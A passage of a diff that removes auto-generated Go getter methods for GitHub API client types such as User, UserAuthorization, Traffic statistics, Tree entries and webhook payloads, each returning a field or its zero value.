== nil { - return time.Time{} - } - return *t.CreatedAt -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (t *Timeline) GetEvent() string { - if t == nil || t.Event == nil { - return "" - } - return *t.Event -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (t *Timeline) GetID() int64 { - if t == nil || t.ID == nil { - return 0 - } - return *t.ID -} - -// GetLabel returns the Label field. -func (t *Timeline) GetLabel() *Label { - if t == nil { - return nil - } - return t.Label -} - -// GetMilestone returns the Milestone field. -func (t *Timeline) GetMilestone() *Milestone { - if t == nil { - return nil - } - return t.Milestone -} - -// GetProjectCard returns the ProjectCard field. -func (t *Timeline) GetProjectCard() *ProjectCard { - if t == nil { - return nil - } - return t.ProjectCard -} - -// GetRename returns the Rename field. -func (t *Timeline) GetRename() *Rename { - if t == nil { - return nil - } - return t.Rename -} - -// GetSource returns the Source field. -func (t *Timeline) GetSource() *Source { - if t == nil { - return nil - } - return t.Source -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *Timeline) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetCreatedAt() Timestamp { - if t == nil || t.CreatedAt == nil { - return Timestamp{} - } - return *t.CreatedAt -} - -// GetCreatedBy returns the CreatedBy field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetCreatedBy() string { - if t == nil || t.CreatedBy == nil { - return "" - } - return *t.CreatedBy -} - -// GetCurated returns the Curated field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetCurated() bool { - if t == nil || t.Curated == nil { - return false - } - return *t.Curated -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetDescription() string { - if t == nil || t.Description == nil { - return "" - } - return *t.Description -} - -// GetDisplayName returns the DisplayName field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetDisplayName() string { - if t == nil || t.DisplayName == nil { - return "" - } - return *t.DisplayName -} - -// GetFeatured returns the Featured field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetFeatured() bool { - if t == nil || t.Featured == nil { - return false - } - return *t.Featured -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetName() string { - if t == nil || t.Name == nil { - return "" - } - return *t.Name -} - -// GetScore returns the Score field. -func (t *TopicResult) GetScore() *float64 { - if t == nil { - return nil - } - return t.Score -} - -// GetShortDescription returns the ShortDescription field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetShortDescription() string { - if t == nil || t.ShortDescription == nil { - return "" - } - return *t.ShortDescription -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (t *TopicResult) GetUpdatedAt() string { - if t == nil || t.UpdatedAt == nil { - return "" - } - return *t.UpdatedAt -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (t *TopicsSearchResult) GetIncompleteResults() bool { - if t == nil || t.IncompleteResults == nil { - return false - } - return *t.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (t *TopicsSearchResult) GetTotal() int { - if t == nil || t.Total == nil { - return 0 - } - return *t.Total -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficClones) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficClones) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficData) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetTimestamp returns the Timestamp field if it's non-nil, zero value otherwise. -func (t *TrafficData) GetTimestamp() Timestamp { - if t == nil || t.Timestamp == nil { - return Timestamp{} - } - return *t.Timestamp -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficData) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetPath() string { - if t == nil || t.Path == nil { - return "" - } - return *t.Path -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetTitle() string { - if t == nil || t.Title == nil { - return "" - } - return *t.Title -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficPath) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficReferrer) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetReferrer returns the Referrer field if it's non-nil, zero value otherwise. -func (t *TrafficReferrer) GetReferrer() string { - if t == nil || t.Referrer == nil { - return "" - } - return *t.Referrer -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficReferrer) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetCount returns the Count field if it's non-nil, zero value otherwise. -func (t *TrafficViews) GetCount() int { - if t == nil || t.Count == nil { - return 0 - } - return *t.Count -} - -// GetUniques returns the Uniques field if it's non-nil, zero value otherwise. -func (t *TrafficViews) GetUniques() int { - if t == nil || t.Uniques == nil { - return 0 - } - return *t.Uniques -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (t *Tree) GetSHA() string { - if t == nil || t.SHA == nil { - return "" - } - return *t.SHA -} - -// GetTruncated returns the Truncated field if it's non-nil, zero value otherwise. -func (t *Tree) GetTruncated() bool { - if t == nil || t.Truncated == nil { - return false - } - return *t.Truncated -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetContent() string { - if t == nil || t.Content == nil { - return "" - } - return *t.Content -} - -// GetMode returns the Mode field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetMode() string { - if t == nil || t.Mode == nil { - return "" - } - return *t.Mode -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetPath() string { - if t == nil || t.Path == nil { - return "" - } - return *t.Path -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetSHA() string { - if t == nil || t.SHA == nil { - return "" - } - return *t.SHA -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetSize() int { - if t == nil || t.Size == nil { - return 0 - } - return *t.Size -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetType() string { - if t == nil || t.Type == nil { - return "" - } - return *t.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (t *TreeEntry) GetURL() string { - if t == nil || t.URL == nil { - return "" - } - return *t.URL -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetCompletedAt() Timestamp { - if u == nil || u.CompletedAt == nil { - return Timestamp{} - } - return *u.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetConclusion() string { - if u == nil || u.Conclusion == nil { - return "" - } - return *u.Conclusion -} - -// GetDetailsURL returns the DetailsURL field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetDetailsURL() string { - if u == nil || u.DetailsURL == nil { - return "" - } - return *u.DetailsURL -} - -// GetExternalID returns the ExternalID field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetExternalID() string { - if u == nil || u.ExternalID == nil { - return "" - } - return *u.ExternalID -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetHeadSHA() string { - if u == nil || u.HeadSHA == nil { - return "" - } - return *u.HeadSHA -} - -// GetOutput returns the Output field. -func (u *UpdateCheckRunOptions) GetOutput() *CheckRunOutput { - if u == nil { - return nil - } - return u.Output -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (u *UpdateCheckRunOptions) GetStatus() string { - if u == nil || u.Status == nil { - return "" - } - return *u.Status -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (u *User) GetAvatarURL() string { - if u == nil || u.AvatarURL == nil { - return "" - } - return *u.AvatarURL -} - -// GetBio returns the Bio field if it's non-nil, zero value otherwise. -func (u *User) GetBio() string { - if u == nil || u.Bio == nil { - return "" - } - return *u.Bio -} - -// GetBlog returns the Blog field if it's non-nil, zero value otherwise. -func (u *User) GetBlog() string { - if u == nil || u.Blog == nil { - return "" - } - return *u.Blog -} - -// GetCollaborators returns the Collaborators field if it's non-nil, zero value otherwise. -func (u *User) GetCollaborators() int { - if u == nil || u.Collaborators == nil { - return 0 - } - return *u.Collaborators -} - -// GetCompany returns the Company field if it's non-nil, zero value otherwise. -func (u *User) GetCompany() string { - if u == nil || u.Company == nil { - return "" - } - return *u.Company -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (u *User) GetCreatedAt() Timestamp { - if u == nil || u.CreatedAt == nil { - return Timestamp{} - } - return *u.CreatedAt -} - -// GetDiskUsage returns the DiskUsage field if it's non-nil, zero value otherwise. -func (u *User) GetDiskUsage() int { - if u == nil || u.DiskUsage == nil { - return 0 - } - return *u.DiskUsage -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (u *User) GetEmail() string { - if u == nil || u.Email == nil { - return "" - } - return *u.Email -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (u *User) GetEventsURL() string { - if u == nil || u.EventsURL == nil { - return "" - } - return *u.EventsURL -} - -// GetFollowers returns the Followers field if it's non-nil, zero value otherwise. -func (u *User) GetFollowers() int { - if u == nil || u.Followers == nil { - return 0 - } - return *u.Followers -} - -// GetFollowersURL returns the FollowersURL field if it's non-nil, zero value otherwise. -func (u *User) GetFollowersURL() string { - if u == nil || u.FollowersURL == nil { - return "" - } - return *u.FollowersURL -} - -// GetFollowing returns the Following field if it's non-nil, zero value otherwise. -func (u *User) GetFollowing() int { - if u == nil || u.Following == nil { - return 0 - } - return *u.Following -} - -// GetFollowingURL returns the FollowingURL field if it's non-nil, zero value otherwise. -func (u *User) GetFollowingURL() string { - if u == nil || u.FollowingURL == nil { - return "" - } - return *u.FollowingURL -} - -// GetGistsURL returns the GistsURL field if it's non-nil, zero value otherwise. -func (u *User) GetGistsURL() string { - if u == nil || u.GistsURL == nil { - return "" - } - return *u.GistsURL -} - -// GetGravatarID returns the GravatarID field if it's non-nil, zero value otherwise. -func (u *User) GetGravatarID() string { - if u == nil || u.GravatarID == nil { - return "" - } - return *u.GravatarID -} - -// GetHireable returns the Hireable field if it's non-nil, zero value otherwise. -func (u *User) GetHireable() bool { - if u == nil || u.Hireable == nil { - return false - } - return *u.Hireable -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (u *User) GetHTMLURL() string { - if u == nil || u.HTMLURL == nil { - return "" - } - return *u.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *User) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetLdapDn returns the LdapDn field if it's non-nil, zero value otherwise. -func (u *User) GetLdapDn() string { - if u == nil || u.LdapDn == nil { - return "" - } - return *u.LdapDn -} - -// GetLocation returns the Location field if it's non-nil, zero value otherwise. -func (u *User) GetLocation() string { - if u == nil || u.Location == nil { - return "" - } - return *u.Location -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (u *User) GetLogin() string { - if u == nil || u.Login == nil { - return "" - } - return *u.Login -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (u *User) GetName() string { - if u == nil || u.Name == nil { - return "" - } - return *u.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (u *User) GetNodeID() string { - if u == nil || u.NodeID == nil { - return "" - } - return *u.NodeID -} - -// GetOrganizationsURL returns the OrganizationsURL field if it's non-nil, zero value otherwise. -func (u *User) GetOrganizationsURL() string { - if u == nil || u.OrganizationsURL == nil { - return "" - } - return *u.OrganizationsURL -} - -// GetOwnedPrivateRepos returns the OwnedPrivateRepos field if it's non-nil, zero value otherwise. -func (u *User) GetOwnedPrivateRepos() int { - if u == nil || u.OwnedPrivateRepos == nil { - return 0 - } - return *u.OwnedPrivateRepos -} - -// GetPermissions returns the Permissions field if it's non-nil, zero value otherwise. -func (u *User) GetPermissions() map[string]bool { - if u == nil || u.Permissions == nil { - return map[string]bool{} - } - return *u.Permissions -} - -// GetPlan returns the Plan field. -func (u *User) GetPlan() *Plan { - if u == nil { - return nil - } - return u.Plan -} - -// GetPrivateGists returns the PrivateGists field if it's non-nil, zero value otherwise. -func (u *User) GetPrivateGists() int { - if u == nil || u.PrivateGists == nil { - return 0 - } - return *u.PrivateGists -} - -// GetPublicGists returns the PublicGists field if it's non-nil, zero value otherwise. -func (u *User) GetPublicGists() int { - if u == nil || u.PublicGists == nil { - return 0 - } - return *u.PublicGists -} - -// GetPublicRepos returns the PublicRepos field if it's non-nil, zero value otherwise. -func (u *User) GetPublicRepos() int { - if u == nil || u.PublicRepos == nil { - return 0 - } - return *u.PublicRepos -} - -// GetReceivedEventsURL returns the ReceivedEventsURL field if it's non-nil, zero value otherwise. -func (u *User) GetReceivedEventsURL() string { - if u == nil || u.ReceivedEventsURL == nil { - return "" - } - return *u.ReceivedEventsURL -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (u *User) GetReposURL() string { - if u == nil || u.ReposURL == nil { - return "" - } - return *u.ReposURL -} - -// GetSiteAdmin returns the SiteAdmin field if it's non-nil, zero value otherwise. -func (u *User) GetSiteAdmin() bool { - if u == nil || u.SiteAdmin == nil { - return false - } - return *u.SiteAdmin -} - -// GetStarredURL returns the StarredURL field if it's non-nil, zero value otherwise. -func (u *User) GetStarredURL() string { - if u == nil || u.StarredURL == nil { - return "" - } - return *u.StarredURL -} - -// GetSubscriptionsURL returns the SubscriptionsURL field if it's non-nil, zero value otherwise. -func (u *User) GetSubscriptionsURL() string { - if u == nil || u.SubscriptionsURL == nil { - return "" - } - return *u.SubscriptionsURL -} - -// GetSuspendedAt returns the SuspendedAt field if it's non-nil, zero value otherwise. -func (u *User) GetSuspendedAt() Timestamp { - if u == nil || u.SuspendedAt == nil { - return Timestamp{} - } - return *u.SuspendedAt -} - -// GetTotalPrivateRepos returns the TotalPrivateRepos field if it's non-nil, zero value otherwise. -func (u *User) GetTotalPrivateRepos() int { - if u == nil || u.TotalPrivateRepos == nil { - return 0 - } - return *u.TotalPrivateRepos -} - -// GetTwoFactorAuthentication returns the TwoFactorAuthentication field if it's non-nil, zero value otherwise. -func (u *User) GetTwoFactorAuthentication() bool { - if u == nil || u.TwoFactorAuthentication == nil { - return false - } - return *u.TwoFactorAuthentication -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (u *User) GetType() string { - if u == nil || u.Type == nil { - return "" - } - return *u.Type -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (u *User) GetUpdatedAt() Timestamp { - if u == nil || u.UpdatedAt == nil { - return Timestamp{} - } - return *u.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *User) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetApp returns the App field. -func (u *UserAuthorization) GetApp() *OAuthAPP { - if u == nil { - return nil - } - return u.App -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetCreatedAt() Timestamp { - if u == nil || u.CreatedAt == nil { - return Timestamp{} - } - return *u.CreatedAt -} - -// GetFingerprint returns the Fingerprint field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetFingerprint() string { - if u == nil || u.Fingerprint == nil { - return "" - } - return *u.Fingerprint -} - -// GetHashedToken returns the HashedToken field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetHashedToken() string { - if u == nil || u.HashedToken == nil { - return "" - } - return *u.HashedToken -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetNote() string { - if u == nil || u.Note == nil { - return "" - } - return *u.Note -} - -// GetNoteURL returns the NoteURL field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetNoteURL() string { - if u == nil || u.NoteURL == nil { - return "" - } - return *u.NoteURL -} - -// GetToken returns the Token field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetToken() string { - if u == nil || u.Token == nil { - return "" - } - return *u.Token -} - -// GetTokenLastEight returns the TokenLastEight field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetTokenLastEight() string { - if u == nil || u.TokenLastEight == nil { - return "" - } - return *u.TokenLastEight -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetUpdatedAt() Timestamp { - if u == nil || u.UpdatedAt == nil { - return Timestamp{} - } - return *u.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *UserAuthorization) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (u *UserContext) GetMessage() string { - if u == nil || u.Message == nil { - return "" - } - return *u.Message -} - -// GetOcticon returns the Octicon field if it's non-nil, zero value otherwise. -func (u *UserContext) GetOcticon() string { - if u == nil || u.Octicon == nil { - return "" - } - return *u.Octicon -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetEmail() string { - if u == nil || u.Email == nil { - return "" - } - return *u.Email -} - -// GetPrimary returns the Primary field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetPrimary() bool { - if u == nil || u.Primary == nil { - return false - } - return *u.Primary -} - -// GetVerified returns the Verified field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetVerified() bool { - if u == nil || u.Verified == nil { - return false - } - return *u.Verified -} - -// GetVisibility returns the Visibility field if it's non-nil, zero value otherwise. -func (u *UserEmail) GetVisibility() string { - if u == nil || u.Visibility == nil { - return "" - } - return *u.Visibility -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (u *UserEvent) GetAction() string { - if u == nil || u.Action == nil { - return "" - } - return *u.Action -} - -// GetEnterprise returns the Enterprise field. -func (u *UserEvent) GetEnterprise() *Enterprise { - if u == nil { - return nil - } - return u.Enterprise -} - -// GetSender returns the Sender field. -func (u *UserEvent) GetSender() *User { - if u == nil { - return nil - } - return u.Sender -} - -// GetUser returns the User field. -func (u *UserEvent) GetUser() *User { - if u == nil { - return nil - } - return u.User -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetAvatarURL() string { - if u == nil || u.AvatarURL == nil { - return "" - } - return *u.AvatarURL -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetEventsURL() string { - if u == nil || u.EventsURL == nil { - return "" - } - return *u.EventsURL -} - -// GetFollowersURL returns the FollowersURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetFollowersURL() string { - if u == nil || u.FollowersURL == nil { - return "" - } - return *u.FollowersURL -} - -// GetFollowingURL returns the FollowingURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetFollowingURL() string { - if u == nil || u.FollowingURL == nil { - return "" - } - return *u.FollowingURL -} - -// GetGistsURL returns the GistsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetGistsURL() string { - if u == nil || u.GistsURL == nil { - return "" - } - return *u.GistsURL -} - -// GetGravatarID returns the GravatarID field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetGravatarID() string { - if u == nil || u.GravatarID == nil { - return "" - } - return *u.GravatarID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetLDAPDN() string { - if u == nil || u.LDAPDN == nil { - return "" - } - return *u.LDAPDN -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetLogin() string { - if u == nil || u.Login == nil { - return "" - } - return *u.Login -} - -// GetOrganizationsURL returns the OrganizationsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetOrganizationsURL() string { - if u == nil || u.OrganizationsURL == nil { - return "" - } - return *u.OrganizationsURL -} - -// GetReceivedEventsURL returns the ReceivedEventsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetReceivedEventsURL() string { - if u == nil || u.ReceivedEventsURL == nil { - return "" - } - return *u.ReceivedEventsURL -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetReposURL() string { - if u == nil || u.ReposURL == nil { - return "" - } - return *u.ReposURL -} - -// GetSiteAdmin returns the SiteAdmin field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetSiteAdmin() bool { - if u == nil || u.SiteAdmin == nil { - return false - } - return *u.SiteAdmin -} - -// GetStarredURL returns the StarredURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetStarredURL() string { - if u == nil || u.StarredURL == nil { - return "" - } - return *u.StarredURL -} - -// GetSubscriptionsURL returns the SubscriptionsURL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetSubscriptionsURL() string { - if u == nil || u.SubscriptionsURL == nil { - return "" - } - return *u.SubscriptionsURL -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetType() string { - if u == nil || u.Type == nil { - return "" - } - return *u.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *UserLDAPMapping) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetCreatedAt() string { - if u == nil || u.CreatedAt == nil { - return "" - } - return *u.CreatedAt -} - -// GetExcludeAttachments returns the ExcludeAttachments field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetExcludeAttachments() bool { - if u == nil || u.ExcludeAttachments == nil { - return false - } - return *u.ExcludeAttachments -} - -// GetGUID returns the GUID field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetGUID() string { - if u == nil || u.GUID == nil { - return "" - } - return *u.GUID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetID() int64 { - if u == nil || u.ID == nil { - return 0 - } - return *u.ID -} - -// GetLockRepositories returns the LockRepositories field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetLockRepositories() bool { - if u == nil || u.LockRepositories == nil { - return false - } - return *u.LockRepositories -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetState() string { - if u == nil || u.State == nil { - return "" - } - return *u.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetUpdatedAt() string { - if u == nil || u.UpdatedAt == nil { - return "" - } - return *u.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (u *UserMigration) GetURL() string { - if u == nil || u.URL == nil { - return "" - } - return *u.URL -} - -// GetIncompleteResults returns the IncompleteResults field if it's non-nil, zero value otherwise. -func (u *UsersSearchResult) GetIncompleteResults() bool { - if u == nil || u.IncompleteResults == nil { - return false - } - return *u.IncompleteResults -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (u *UsersSearchResult) GetTotal() int { - if u == nil || u.Total == nil { - return 0 - } - return *u.Total -} - -// GetAdminUsers returns the AdminUsers field if it's non-nil, zero value otherwise. -func (u *UserStats) GetAdminUsers() int { - if u == nil || u.AdminUsers == nil { - return 0 - } - return *u.AdminUsers -} - -// GetSuspendedUsers returns the SuspendedUsers field if it's non-nil, zero value otherwise. -func (u *UserStats) GetSuspendedUsers() int { - if u == nil || u.SuspendedUsers == nil { - return 0 - } - return *u.SuspendedUsers -} - -// GetTotalUsers returns the TotalUsers field if it's non-nil, zero value otherwise. -func (u *UserStats) GetTotalUsers() int { - if u == nil || u.TotalUsers == nil { - return 0 - } - return *u.TotalUsers -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (u *UserSuspendOptions) GetReason() string { - if u == nil || u.Reason == nil { - return "" - } - return *u.Reason -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (w *WatchEvent) GetAction() string { - if w == nil || w.Action == nil { - return "" - } - return *w.Action -} - -// GetInstallation returns the Installation field. -func (w *WatchEvent) GetInstallation() *Installation { - if w == nil { - return nil - } - return w.Installation -} - -// GetRepo returns the Repo field. -func (w *WatchEvent) GetRepo() *Repository { - if w == nil { - return nil - } - return w.Repo -} - -// GetSender returns the Sender field. -func (w *WatchEvent) GetSender() *User { - if w == nil { - return nil - } - return w.Sender -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (w *WebHookAuthor) GetEmail() string { - if w == nil || w.Email == nil { - return "" - } - return *w.Email -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (w *WebHookAuthor) GetName() string { - if w == nil || w.Name == nil { - return "" - } - return *w.Name -} - -// GetUsername returns the Username field if it's non-nil, zero value otherwise. -func (w *WebHookAuthor) GetUsername() string { - if w == nil || w.Username == nil { - return "" - } - return *w.Username -} - -// GetAuthor returns the Author field. -func (w *WebHookCommit) GetAuthor() *WebHookAuthor { - if w == nil { - return nil - } - return w.Author -} - -// GetCommitter returns the Committer field. -func (w *WebHookCommit) GetCommitter() *WebHookAuthor { - if w == nil { - return nil - } - return w.Committer -} - -// GetDistinct returns the Distinct field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetDistinct() bool { - if w == nil || w.Distinct == nil { - return false - } - return *w.Distinct -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetID() string { - if w == nil || w.ID == nil { - return "" - } - return *w.ID -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetMessage() string { - if w == nil || w.Message == nil { - return "" - } - return *w.Message -} - -// GetTimestamp returns the Timestamp field if it's non-nil, zero value otherwise. -func (w *WebHookCommit) GetTimestamp() time.Time { - if w == nil || w.Timestamp == nil { - return time.Time{} - } - return *w.Timestamp -} - -// GetAfter returns the After field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetAfter() string { - if w == nil || w.After == nil { - return "" - } - return *w.After -} - -// GetBefore returns the Before field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetBefore() string { - if w == nil || w.Before == nil { - return "" - } - return *w.Before -} - -// GetCompare returns the Compare field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetCompare() string { - if w == nil || w.Compare == nil { - return "" - } - return *w.Compare -} - -// GetCreated returns the Created field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetCreated() bool { - if w == nil || w.Created == nil { - return false - } - return *w.Created -} - -// GetDeleted returns the Deleted field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetDeleted() bool { - if w == nil || w.Deleted == nil { - return false - } - return *w.Deleted -} - -// GetForced returns the Forced field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetForced() bool { - if w == nil || w.Forced == nil { - return false - } - return *w.Forced -} - -// GetHeadCommit returns the HeadCommit field. -func (w *WebHookPayload) GetHeadCommit() *WebHookCommit { - if w == nil { - return nil - } - return w.HeadCommit -} - -// GetPusher returns the Pusher field. -func (w *WebHookPayload) GetPusher() *User { - if w == nil { - return nil - } - return w.Pusher -} - -// GetRef returns the Ref field if it's non-nil, zero value otherwise. -func (w *WebHookPayload) GetRef() string { - if w == nil || w.Ref == nil { - return "" - } - return *w.Ref -} - -// GetRepo returns the Repo field. -func (w *WebHookPayload) GetRepo() *Repository { - if w == nil { - return nil - } - return w.Repo -} - -// GetSender returns the Sender field. -func (w *WebHookPayload) GetSender() *User { - if w == nil { - return nil - } - return w.Sender -} - -// GetTotal returns the Total field if it's non-nil, zero value otherwise. -func (w *WeeklyCommitActivity) GetTotal() int { - if w == nil || w.Total == nil { - return 0 - } - return *w.Total -} - -// GetWeek returns the Week field if it's non-nil, zero value otherwise. -func (w *WeeklyCommitActivity) GetWeek() Timestamp { - if w == nil || w.Week == nil { - return Timestamp{} - } - return *w.Week -} - -// GetAdditions returns the Additions field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetAdditions() int { - if w == nil || w.Additions == nil { - return 0 - } - return *w.Additions -} - -// GetCommits returns the Commits field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetCommits() int { - if w == nil || w.Commits == nil { - return 0 - } - return *w.Commits -} - -// GetDeletions returns the Deletions field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetDeletions() int { - if w == nil || w.Deletions == nil { - return 0 - } - return *w.Deletions -} - -// GetWeek returns the Week field if it's non-nil, zero value otherwise. -func (w *WeeklyStats) GetWeek() Timestamp { - if w == nil || w.Week == nil { - return Timestamp{} - } - return *w.Week -} - -// GetBadgeURL returns the BadgeURL field if it's non-nil, zero value otherwise. -func (w *Workflow) GetBadgeURL() string { - if w == nil || w.BadgeURL == nil { - return "" - } - return *w.BadgeURL -} - -// GetCreatedAt returns the 